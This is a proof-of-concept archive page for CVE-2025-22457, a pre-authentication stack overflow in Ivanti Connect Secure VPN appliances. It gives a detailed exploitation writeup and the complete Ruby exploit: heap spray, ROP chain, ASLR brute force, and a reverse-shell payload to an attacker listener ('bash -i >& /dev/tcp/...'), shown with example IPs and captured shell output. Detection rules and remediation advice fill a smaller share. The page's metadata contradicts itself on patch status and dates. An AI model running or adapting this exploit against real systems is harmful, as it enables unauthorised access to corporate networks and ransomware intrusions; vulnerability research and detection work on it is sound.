PoC Archive PoC Archive
CVE-2025-22457 category: network CVSS 9 (CRITICAL) KEV Ransomware EPSS 100%
Unpatched

Ivanti Connect Secure / Policy Secure / ZTA Gateways Remote Unauthenticated Stack-Based Buffer Overflow (CVE-2025-22457)

Published: 2026-08-09 • Researcher: Stephen Fewer (Rapid7)

Target software Ivanti Connect Secure, Pulse Connect Secure (end of support), Ivanti Policy Secure, Ivanti ZTA Gateways — the /home/bin/web HTTPS front-end process
Affected versions Ivanti Connect Secure before 22.7R2.6; Ivanti Policy Secure before 22.7R1.4; Ivanti ZTA Gateways before 22.8R2.2; Pulse Connect Secure 9.1R18.9 and earlier (9.1x reached end of support on 2024-12-31 and receives no fix). The PoC in this folder ships a single hard-coded gadget target for Connect Secure 22.7r2.4 build 3597, reported by the appliance as product version 22.7.2.3597
Status Patched
Severity Critical · CVSS 9
CVSS 9.0/10

Exploitation signals

KEV Ransomware EPSS 100%

Confirmed exploited in the wild. Added to CISA KEV 2025-04-04. Federal remediation deadline 2025-04-11.

EPSS 100.0% · 100th percentile

Severity
Critical
CVE
CVE-2025-22457
Category
network
Affected product
Ivanti Connect Secure, Pulse Connect Secure (end of support), Ivanti Policy Secure, Ivanti ZTA Gateways — the /home/bin/web HTTPS front-end process
Affected versions
Ivanti Connect Secure before 22.7R2.6; Ivanti Policy Secure before 22.7R1.4; Ivanti ZTA Gateways before 22.8R2.2; Pulse Connect Secure 9.1R18.9 and earlier (9.1x reached end of support on 2024-12-31 and receives no fix). The PoC in this folder ships a single hard-coded gadget target for Connect Secure 22.7r2.4 build 3597, reported by the appliance as product version 22.7.2.3597
Disclosed
2026-08-09
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2025-04-25
Author / ResearcherStephen Fewer (Rapid7)
CVE / AdvisoryCVE-2025-22457
Categorynetwork
SeverityCritical
CVSS Score9.0 (CVSSv3.1)
StatusPatched
Tagsivanti, connect-secure, pulse-connect-secure, policy-secure, zta-gateway, vpn, stack-overflow, CWE-121, buffer-overflow, rce, unauthenticated, rop, heap-spray, aslr-bruteforce, x-forwarded-for, cisa-kev, ransomware, ruby, edge-device
RelatedN/A

Affected Target

FieldValue
Software / SystemIvanti Connect Secure, Pulse Connect Secure (end of support), Ivanti Policy Secure, Ivanti ZTA Gateways — the /home/bin/web HTTPS front-end process
Versions AffectedIvanti Connect Secure before 22.7R2.6; Ivanti Policy Secure before 22.7R1.4; Ivanti ZTA Gateways before 22.8R2.2; Pulse Connect Secure 9.1R18.9 and earlier (9.1x reached end of support on 2024-12-31 and receives no fix). The PoC in this folder ships a single hard-coded gadget target for Connect Secure 22.7r2.4 build 3597, reported by the appliance as product version 22.7.2.3597
Language / PlatformNative 32-bit x86 ELF on Linux (SELinux-jailed appliance kernel); exploit is Ruby
Authentication RequiredNo
Network Access RequiredYes — TCP reachability to the appliance HTTPS listener (default 443)

Summary

CVE-2025-22457 is a remote, pre-authentication stack-based buffer overflow (CWE-121) in the HTTPS request-handling path of Ivanti Connect Secure and sibling appliances. A single oversized X-Forwarded-For request header overflows a fixed-size stack buffer in the /home/bin/web process, overwriting saved registers and the saved return address. The overflow is constrained to a digits-only character set, so the exploit cannot write arbitrary pointer bytes directly into the corrupted frame; instead it sprays a 3 MB ROP pattern into the heap over hundreds of pre-opened IF-T/TLS sockets, then uses the digits-only overflow to pivot the stack into that sprayed pattern. The result is remote code execution as the unprivileged appliance web user (uid=104(nr)), which on these appliances is the standard beachhead for credential and configuration theft, webshell implantation and lateral movement into the protected network. The flaw is in the CISA KEV catalog (added 2025-04-04) with knownRansomwareCampaignUse = Known and an EPSS score at effectively 1.00, making it one of the most reliably exploited edge-device bugs of its cohort.

Vulnerability Details

Root Cause

The appliance HTTP request parser copies attacker-controlled header data into a fixed-size stack buffer without bounding the length. In the specific target build (22.7.2.3597) the PoC establishes empirically that 622 bytes of header data reach the end of the vulnerable buffer, with the next 24 bytes landing directly on the saved ebx, esi, edi, ebp, the saved return address, and then the first stack argument slot [ebp+8]:

Ruby
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
buffer = '1' * target[:overflow_length]   # overflow_length: 622

buffer += [
  0x31313131, # ebx
  0x32323232, # esi
  0x33333333, # edi
  0x34343434, # ebp
  0x35353535, # eip (but we dont get control here)
  0x39393930  # [ebp+8] -> a1 -> heap spray
].pack('V*')

Two properties make this bug awkward rather than trivially exploitable, and the PoC solves both:

  1. Digits-only charset. The overflowing field is validated or normalised such that only 0123456789 and . survive the copy. The PoC asserts this explicitly (throw 'bad chars in buffer, only 0123456789. allowed' unless buffer.scan(/^[\d.]+$/).any?). Every value written into the corrupted frame is therefore chosen so that its little-endian byte encoding is itself made of ASCII digits — 0x31313131 encodes as 1111, 0x35353535 as 5555, and the critical pivot pointer 0x39393930 encodes as 0999. This is why the exploit cannot simply overwrite the saved return address with a library address, and why the comment on the eip slot reads “but we dont get control here”.
  2. No direct EIP control. Instead of a return-address hijack, the overflow poisons the first argument slot [ebp+8] so that a later dereference of that pointer (a1) reads from the digits-only address 0x39393930, which the heap spray has already filled with a fully-formed fake frame plus ROP chain. Initial instruction-pointer control therefore comes from the sprayed data, not from the stack write.

The ROP chain and the system()-reaching call site are all offsets into the appliance library /home/lib/libdsplibs.so, annotated in the PoC with the disassembly they correspond to:

Ruby
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
targets = {
  # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
  '22.7.2.3597' => {
    overflow_length: 622,
    # 0x0050c7e6: mov esp, ebp; pop ebp; ret;
    gadget_mov_esp_ebp_pop_ret: 0x0050c7e6,
    offset_to_got_plt: 0x0157c000,
    # 0x00033222: pop ebx; ret;
    gadget_pop_ebx_ret: 0x00033222,
    # .text:F6D7131F mov [esp], edi
    # .text:F6D71322 call __ZN5DSSys18isInterfaceEnabledEPKc
    gadget_call_system: 0x0087E31F
  }
}

The gadget_call_system site is a mov [esp], edi immediately followed by a call into DSSys::isInterfaceEnabled(char const*), a function that itself reaches a shell-invoking primitive; edi is made to point at the attacker command string, and ebx is loaded with the library GOT/PLT base (offset_to_got_plt) so that PIC-style relative calls resolve correctly.

Attack Vector

Unauthenticated HTTPS to the appliance, in three phases, repeated per ASLR guess:

  1. Fingerprint. A GET of /dana-na/auth/url_admin/welcome.cgi?type=inter is scraped for the productversion form field (technique credited in the source to the BishopFox CVE-2025-0282 check), yielding e.g. 22.7.2.3597. The exploit throws if no gadget table exists for that version.
  2. Heap spray over IF-T/TLS sockets. Up to (1024 - 256) * web_children sockets are opened, each performing a protocol upgrade the appliance answers with 101 Switching Protocols:
    Output
    GET / HTTP/1.1
    Host: <target>:<port>
    User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty
    Content-Type: EAP
    Upgrade: IF-T/TLS 1.0
    Content-Length: 0
    Each held socket then receives a ~3 MB IF-T/TLS IFT_VERSION_REQUEST (vendor 0x00005597, VENDOR_TCG) whose body is a 256-byte pattern repeated ~12288 times.
  3. Trigger. A plain GET / HTTP/1.1 carrying the 646-byte digits-only X-Forwarded-For header is sent web_children + 1 times so that whichever forked /home/bin/web child services the request has the spray resident. On failure the loop sleeps 5 seconds to let the appliance respawn the crashed child, then advances the ASLR guess.

The spray pattern is a hand-laid fake stack, keyed to the absolute address 0x39393930 that the poisoned argument slot points at:

Ruby
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
spray_pattern = [
  0xCAFEF00D, ... ,
  libdsplibs_base + target[:gadget_mov_esp_ebp_pop_ret], # 0x39393928: <--- initial eip control, stack pivot gadget.
  0x39393928 - 0x10,                                     # 0x3939392C:
  0xCAFEF06D,                                            # 0x39393930: <--- ebp (rop: pop ebp)
  libdsplibs_base + target[:gadget_pop_ebx_ret],         # 0x39393934:
  libdsplibs_base + target[:offset_to_got_plt],          # 0x39393938: <--- eax (rop pop ebx)
  libdsplibs_base + target[:gadget_call_system],         # 0x3939393C:
  ... ,
  0x39393998,                                            # 0x39393968: ptr to shell_cmd, referenced @ edi
  ... ,
  0x41414141,                                            # 0x3939398C: last EIP after payload exits.
  0x00000000                                             # 0x39393994: ctx->max_headers, lets us bail out of the headers loop early.
].pack('V*') + shell_cmd

Two details worth calling out: the final dword is deliberately zeroed because it aliases ctx->max_headers at 0x39393930 + 0x64, letting the corrupted request escape the header-parsing loop early instead of crashing inside it; and 0x3939398C is left as 0x41414141 as an intentional post-payload crash marker.

ASLR is defeated by brute force over the low 8 bits of the library slide:

Ruby
1
2
0.upto(1024) do |attempt|
  libdsplibs_base = options[:libdsplibs] || (0xf6426000 + ((attempt % 256) << 12))

--libdsplibs lets an operator with a rooted lab appliance supply the real base from /proc/<pid>/maps and skip the brute force entirely.

Impact

Remote code execution without credentials as the appliance web service account. The upstream ReadMe records the resulting shell as:

Output
uid=104(nr) gid=104(nr) groups=104(nr)
Linux localhost2 4.17.00.35-selinux-jailing-production ... x86_64 GNU/Linux

On a VPN concentrator that account can read configuration and session material and pivot to the internal networks the appliance terminates. Because each failed brute-force attempt crashes a /home/bin/web child, exploitation is also a denial-of-service against the VPN portal while it runs. The payload command is limited to 122 characters and is used to bootstrap a reverse shell, after which the operator has interactive access.

Environment / Lab Setup

Output
Target:      Ivanti Connect Secure 22.7r2.4 build 3597 (reports 22.7.2.3597), unpatched.
             Gadget offsets are valid only for /home/lib/libdsplibs.so with
             sha1 f31a3cc442df5178b37ea539ff418fec9bf3404f. Any other build needs a new
             entry in the `targets` hash.
             4 vCPU is the PoC default (1 web parent + 4 children, ISA4000-V shape).
Attacker:    Any host with Ruby and network reachability to the appliance HTTPS port.
Tools:       ruby, the httparty gem, ncat (or any TCP listener) for the reverse shell.
             CVE-2025-22457.rb (this folder), mirrored unmodified from
             https://github.com/sfewer-r7/CVE-2025-22457

Setup Steps

Shell script
1
2
3
gem install httparty

ncat -lnvkp 8080

Note the child-process arithmetic: the appliance forks one /home/bin/web child per vCPU and load-balances HTTPS requests across them, so the spray must be planted in every child. --web_children must match the target shape (1 vCPU = no children, 2/4/8 vCPU = 2/4/8 children; 4 is the default and matches ISA4000-V, 8 matches ISA6000-V).

Proof of Concept

See CVE-2025-22457.rb (full, unmodified) and upstream-README.md in this folder, mirrored byte-for-byte from sfewer-r7/CVE-2025-22457. Verified before ingestion by reading the complete 356-line script end to end: it is a genuine, complete exploit, not a stub or a downloader. Every stage is implemented locally in Ruby — HTTP version fingerprinting, raw TLS socket handling, the threaded IF-T/TLS socket spray, the hand-annotated ROP chain against libdsplibs.so, the digits-only overflow buffer, and the ASLR brute-force loop.

Step-by-Step Reproduction

  1. Start a listener for the reverse shell:

    Shell script
    1
    
    ncat -lnvkp 8080
  2. Run the exploit against the target, brute-forcing ASLR (slow — expect roughly 1 success per 256 attempts):

    Shell script
    1
    
    ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
  3. Optionally constrain the run to the real library base and the correct child count when testing against a lab appliance you already have root on:

    Shell script
    1
    2
    3
    4
    5
    
    # On a rooted appliance:
    #   cat /proc/<web-pid>/maps | grep libdsplibs
    #   f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so
    ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 \
         --web_children 4 --libdsplibs 0xf642e000
  4. Watch the phase log — each attempt walks connections, spray, trigger, then sleeps 5 seconds for the web child to respawn:

    Output
    [+] Targeting https://192.168.86.111:443/
    [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
    [+] Detected version 22.7.2.3597
    [+] Starting...
    [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
        Making connections...
        Spraying...
        Triggering...

Exploit Code

See CVE-2025-22457.rb in this folder for the complete implementation.

Ruby
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
buffer = '1' * target[:overflow_length]

buffer += [
  0x31313131, # ebx
  0x32323232, # esi
  0x33333333, # edi
  0x34343434, # ebp
  0x35353535, # eip (but we dont get control here)
  0x39393930  # [ebp+8] -> a1 -> heap spray
].pack('V*')

throw 'bad chars in buffer, only 0123456789. allowed' unless buffer.scan(/^[\d.]+$/).any?

body  = "GET / HTTP/1.1\r\n"
body << "X-Forwarded-For: #{buffer}\r\n"
body << "\r\n"
Ruby
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
shell_cmd  = "a;#{options[:payload]} # "
shell_cmd += "\x00"
shell_cmd += 'B' while shell_cmd.length < 128

heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length)

ift_body = [
  0x00005597, # VENDOR_TCG
  0x00000001, # IFT_VERSION_REQUEST
  heap_buffer.length + 16 + 1,
  0 # seq id
].pack('NNNN') + heap_buffer

The payload itself is operator-supplied and the script refuses to run without it. The default template contains literal LHOST/LPORT placeholders, and the tool aborts unless both were substituted via command-line flags:

Ruby
1
2
3
4
5
6
payload: 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1',
...
throw 'set payload local IP via --lhost argument' if options[:payload].include? 'LHOST'
throw 'set payload local port via --lport argument' if options[:payload].include? 'LPORT'
throw 'payload cannot be empty' if options[:payload].empty?
throw 'payload is too large, must be <= 122 chars' if options[:payload].length > 122

Expected Output

Output
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert http any any -> any 443 (msg:"Possible CVE-2025-22457 Ivanti X-Forwarded-For overflow"; \
  flow:to_server,established; content:"X-Forwarded-For|3a| "; http_header; \
  pcre:"/^X-Forwarded-For\x3a\s[0-9.]{300,}/Hmi"; sid:9002245701; rev:1;)

alert tcp any any -> any 443 (msg:"Possible CVE-2025-22457 IF-T/TLS heap spray pattern"; \
  flow:to_server,established; content:"|0D F0 FE CA|"; depth:0; \
  content:"|1D F0 FE CA|"; distance:0; within:16; sid:9002245702; rev:1;)

Remediation

ActionDetail
PatchUpgrade Ivanti Connect Secure to 22.7R2.6 or later, Ivanti Policy Secure to 22.7R1.4 or later, and Ivanti ZTA Gateways to 22.8R2.2 or later. Pulse Connect Secure 9.1x reached end of support on 2024-12-31 and has no fix — migrate off it. CISA published dedicated mitigation instructions for this CVE with a KEV due date of 2025-04-11.
WorkaroundNo configuration workaround neutralises the overflow; the vulnerable header path is reachable pre-authentication on the public listener. Reduce exposure by restricting which source networks can reach the appliance management and portal interfaces, and by fronting the appliance with a proxy or WAF that rejects abnormally long X-Forwarded-For values and abnormal volumes of IF-T/TLS upgrade sockets.
Config HardeningRun the Ivanti Integrity Checker Tool before and after patching and treat any failure as compromise. Because this flaw was exploited in the wild before patch availability, a factory reset onto a patched image is the safe rebuild path for any appliance that was internet-exposed while vulnerable, followed by rotation of every credential, certificate and session secret the appliance held. Enable and ship appliance logs off-box so that crash-and-respawn patterns survive an attacker who later cleans up.

References

Notes

Verified this session before ingestion by cloning sfewer-r7/CVE-2025-22457 and reading the full source of both files: CVE-2025-22457.rb (356 lines) and ReadMe.md (mirrored here as upstream-README.md). Findings: no obfuscated or encoded payloads, no remote downloaders or curl/wget/eval of network content, no credential harvesting or exfiltration, no cryptominer logic, no committed binaries or archives, and no setup.py, requirements.txt, Gemfile or any other install-time hook — so there is no install-time side-effect surface at all. The only third-party dependency is the httparty gem, imported normally at the top of the file. The single outbound callback in the tool is the reverse shell, and it is entirely operator-supplied: the default payload string carries literal LHOST/LPORT placeholders and the script throws and exits unless the operator substitutes both via --lhost/--lport, with no default or fallback address anywhere in the code.

Provenance: the author is Stephen Fewer, Senior Principal Security Researcher at Rapid7, publishing under the sfewer-r7 account with commits signed stephen_fewer@rapid7.com. The PoC header is dated 2025-04-09 and the last upstream commit is 2025-04-25. The upstream ReadMe links to the corresponding Rapid7 AttackerKB analysis, and the log transcripts embedded in it match the exact output format produced by the mirrored script.

Both files in this folder are byte-for-byte identical to a fresh upstream clone, verified with diff and sha256sum — no reformatting, paraphrasing or rewriting was performed.

Operational caveats for anyone reproducing this in a lab: the gadget table has exactly one entry, keyed on product version string 22.7.2.3597, and the exploit throws immediately on any other version — porting requires fresh offsets from the matching libdsplibs.so (the target build hash is recorded in the source as sha1 f31a3cc442df5178b37ea539ff418fec9bf3404f). The ASLR brute force is loud and destructive: every miss crashes a /home/bin/web child, so a full 256-guess sweep repeatedly interrupts VPN service. Note also that the throw calls used for argument validation are Ruby throw rather than raise, so invalid invocations exit with an UncaughtThrowError rather than a clean usage message.

Threat context at time of ingestion: this CVE has been in the CISA KEV catalog since 2025-04-04 with knownRansomwareCampaignUse = Known, an EPSS score of approximately 1.00 (99.99th percentile), and public reporting attributing pre-patch in-the-wild exploitation to a China-nexus espionage cluster deploying custom droppers and passive backdoors on Ivanti appliances. Treat any vulnerable appliance that was internet-facing as presumed compromised rather than merely at risk.

CVE-2025-22457.rb
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
# PoC for CVE-2025-22457 - Ivanti Connect Secure unauthenticated RCE
#
# Usage:
#
# First start a netcat listener to catch the reverse shell:
#     ncat -lnvkp 4444
# The run the exploit against a target:
#     ruby CVE-2025-22457.rb -t TARGET_IP -p 443 --lhost NCAT_IP --lport 4444
#
# Stephen Fewer (Rapid7) - April 9, 2025.
require 'socket'
require 'openssl'
require 'httparty'
require 'optparse'

HTTParty::Basement.default_options.update(verify: false)

def log(txt)
  $stdout.puts("[#{Time.now}] #{txt}")
end

# https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6
def get_productversion(options)
  res = HTTParty.get("#{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/dana-na/auth/url_admin/welcome.cgi?type=inter")

  return nil unless res&.code == 200

  m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)

  return nil unless m&.length == 2

  m[1]
end

def send_http_data(options, data, verbose = false, read = true)
  s = TCPSocket.open(options[:target_ip], options[:target_port])

  if options[:target_scheme] == 'https'
    ctx = OpenSSL::SSL::SSLContext.new

    ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)

    s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket|
      socket.sync_close = true
      socket.connect
    end
  end

  s.write(data)

  return [nil, s] unless read

  result = ''

  content_length = 0

  while line = s.gets
    p line if verbose

    m = line.match(/content-length: (\d+)\r\n/i)
    content_length = m[1].to_i if m

    result << line

    next unless line == "\r\n" && content_length
    break if content_length <= 0

    content = s.read(content_length)

    p content if verbose

    result << content
    break
  end

  [result, s]
end

def hax(options)
  log "[+] Targeting #{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/"

  log "[+] Payload: #{options[:payload]}"

  productversion = get_productversion(options)

  if productversion.nil?
    log "[-] Could not get product version for #{options[:target_ip]}:#{options[:target_port]}"
    return
  end

  log "[+] Detected version #{productversion}"

  # NOTE: All gadgets are from /home/lib/libdsplibs.so
  targets = {
    # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f)
    '22.7.2.3597' => {
      overflow_length: 622,
      # 0x0050c7e6: mov esp, ebp; pop ebp; ret;
      gadget_mov_esp_ebp_pop_ret: 0x0050c7e6,
      offset_to_got_plt: 0x0157c000,
      # 0x00033222: pop ebx; ret;
      gadget_pop_ebx_ret: 0x00033222,
      # .text:F6D7131F mov [esp], edi
      # .text:F6D71322 call __ZN5DSSys18isInterfaceEnabledEPKc
      gadget_call_system: 0x0087E31F
    }
  }

  target = targets[productversion]

  throw "No target for #{productversion}" unless target

  log '[+] Starting...'

  # with 8 bits of entroy, we should guess corectly every ~256 attempts.
  0.upto(1024) do |attempt|
    # XXX: we have to brute force this.
    libdsplibs_base = options[:libdsplibs] || (0xf6426000 + ((attempt % 256) << 12))

    log "[+] Attempt #{attempt}, trying libdsplibs.so @ 0x#{libdsplibs_base.to_s(16)}"

    log '    Making connections...'

    spray_socks = []
    lock = Mutex.new
    threads = []

    0.upto(options[:max_threads]) do
      threads << Thread.new do
        while true
          begin
            break unless lock.synchronize do
              spray_socks.length < ((1024 - 256) * options[:web_children])
            end

            body  = "GET / HTTP/1.1\r\n"
            body << "Host: #{options[:target_ip]}:#{options[:target_port]}\r\n"
            body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n"
            body << "Content-Type: EAP\r\n"
            body << "Upgrade: IF-T/TLS 1.0\r\n"
            body << "Content-Length: 0\r\n"
            body << "\r\n"

            res, s = send_http_data(options, body, false, true)

            throw 'bad response1' unless res.include? '101 Switching Protocols'

            lock.synchronize do
              spray_socks << s
            end
          rescue StandardError
            log "[-] Exception: #{$!}"
          end
        end
      end
    end

    threads.each do |t|
      t.join
    end

    log '    Spraying...'

    shell_cmd  = "a;#{options[:payload]} # "
    shell_cmd += "\x00"
    shell_cmd += 'B' while shell_cmd.length < 128

    throw 'shell_cmd should be 128 bytes' unless shell_cmd.length == 128

    spray_pattern = [
      0xCAFEF00D, # 0x39393918:
      0xCAFEF01D, # 0x3939391C:
      0xCAFEF02D, # 0x39393920:
      0xCAFEF03D, # 0x39393924:

      libdsplibs_base + target[:gadget_mov_esp_ebp_pop_ret], # 0x39393928: <--- initial eip control, stack pivot gadget.
      0x39393928 - 0x10, # 0x3939392C:
      0xCAFEF06D, # 0x39393930: <--- 0x39393930 points here @ ebp (rop: pop ebp)
      libdsplibs_base + target[:gadget_pop_ebx_ret], # 0x39393934:

      libdsplibs_base + target[:offset_to_got_plt], # 0x39393938: <--- eax (rop pop ebx)
      libdsplibs_base + target[:gadget_call_system], # 0x3939393C:
      0xCAFEF0AD, # 0x39393940:
      0xCAFEF0BD, # 0x39393944:

      0xCAFEF0CD, # 0x39393948:
      0xCAFEF0DD, # 0x3939394C:
      0xCAFEF0ED, # 0x39393950:
      0xCAFEF0FD, # 0x39393954:

      0xCAFEF10D, # 0x39393958:
      0x3939392C, # 0x3939395C: <--- 0x39393930+0x2c ->> edx 0x3939392C
      0xCAFEF12D, # 0x39393960:
      0xCAFEF13D, # 0x39393964:

      0x39393998, # 0x39393968: <--- ptr to shell_cmd, referenced @ edi
      0xCAFEF15D, # 0x3939396C:
      0xCAFEF16D, # 0x39393970:
      0xCAFEF17D, # 0x39393974:

      0xCAFEF18D, # 0x39393978:
      0xCAFEF19D, # 0x3939397C:
      0xCAFEF1AD, # 0x39393980:
      0xCAFEF1BD, # 0x39393984:

      0xCAFEF1CD, # 0x39393988:
      0x41414141, # 0x3939398C: <--- last EIP after payload exits.
      0xCAFEF1ED, # 0x39393990:
      0x00000000  # 0x39393994: 0x39393930+0x64, this is ctx->max_headers and lets us bail out of the headers loop early.

      # 0x39393998: shell_cmd @ edi
    ].pack('V*') + shell_cmd

    throw 'spray_pattern should be 256 bytes' unless spray_pattern.length == 256

    heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length)

    ift_body = [
      0x00005597, # VENDOR_TCG
      0x00000001, # IFT_VERSION_REQUEST
      heap_buffer.length + 16 + 1,
      0 # seq id
    ].pack('NNNN') + heap_buffer

    spray_idx = 0

    0.upto(options[:max_threads]) do
      threads << Thread.new do
        while true
          begin
            s = lock.synchronize do
              s = spray_socks[spray_idx]
              spray_idx += 1
              s
            end

            break if s.nil?

            s.write(ift_body)
          rescue StandardError
            p "[-] exception: #{$!}"
          end
        end
      end
    end

    threads.each do |t|
      t.join
    end

    log '    Triggering...'

    buffer = '1' * target[:overflow_length]

    buffer += [
      0x31313131, # ebx
      0x32323232, # esi
      0x33333333, # edi
      0x34343434, # ebp
      0x35353535, # eip (but we dont get control here)
      0x39393930  # [ebp+8] -> a1 -> heap spray
    ].pack('V*')

    throw 'bad chars in buffer, only 0123456789. allowed' unless buffer.scan(/^[\d.]+$/).any?

    body  = "GET / HTTP/1.1\r\n"
    body << "X-Forwarded-For: #{buffer}\r\n"
    body << "\r\n"

    0.upto(options[:web_children]) do |attempt|
      log "    #{attempt}"
      send_http_data(options, body, true)
    rescue StandardError
      log "[-] Exception: #{$!}"
    end

    # if we have failed, give the target a few seconds to respawn the web binary before we try again.
    sleep(5)
  end
  log '[+] Finished.'
end

options = {
  target_scheme: 'https',
  target_ip: nil,
  target_port: 443,
  local_ip: nil,
  local_port: 4444,
  payload: 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1',
  max_threads: 32,
  web_children: 4,
  libdsplibs: nil
}

OptionParser.new do |opts|
  opts.banner = 'Usage: CVE-2025-22457.rb [options]'

  opts.on('-s', '--scheme=https', 'http or https (Default: https)') do |v|
    options[:target_scheme] = v.downcase
  end

  opts.on('-t', '--rhost=IP', 'Remote IP of target') do |v|
    options[:target_ip] = v
  end

  opts.on('-p', '--rport=PORT', 'Remote port of target (Default: 443)') do |v|
    options[:target_port] = v.to_i
  end

  opts.on('--lhost=IP', 'Local IP for reverse shell') do |v|
    options[:payload].gsub!('LHOST', v)
  end

  opts.on('--lport=PORT', 'Local port for reverse shell (Default: 4444)') do |v|
    options[:payload].gsub!('LPORT', v)
  end

  opts.on('-c', '--cmd=CMD', 'Payload Command (Defaults to a reverse shell)') do |v|
    options[:payload] = v
  end

  opts.on('-k', '--max_threads=COUNT', 'Max threads to use when spraying (Default: 32)') do |v|
    options[:max_threads] = v.to_i
  end

  # Depending on the underlying hardware, the number of CPUs available to the appliance will dictate
  # the number of child processes the /home/bin/web binary will spawn. As all incoming HTTPS requests
  # will be distributed between these children, we need to account for this and perform the heap spray
  # enough times for all child processes. We need to do this as when we trigger the vulnerability, we
  # cannot know what child process we will trigger it in. So we need the heap spray to be present in
  # every child process.
  # 1 vCPU - 1 web process, no children
  # 2 vCPU - 1 web parent, 2 children
  # 4 vCPU - 1 web parent, 4 children
  # 8 vCPU - 1 web parent, 8 children
  opts.on('--web_children=COUNT', 'The number of /home/bin/web child processes (Default: 4)') do |v|
    options[:web_children] = v.to_i
  end

  opts.on('--libdsplibs=ADDRESS', 'Base address of libdsplibs (e.g. 0xf6486000)') do |v|
    options[:libdsplibs] = v.to_i(16)
  end
end.parse!

throw 'set target IP via -t argument' unless options[:target_ip]

throw 'set payload local IP via --lhost argument' if options[:payload].include? 'LHOST'

throw 'set payload local port via --lport argument' if options[:payload].include? 'LPORT'

throw 'payload cannot be empty' if options[:payload].empty?

throw 'payload is too large, must be <= 122 chars' if options[:payload].length > 122

hax(options)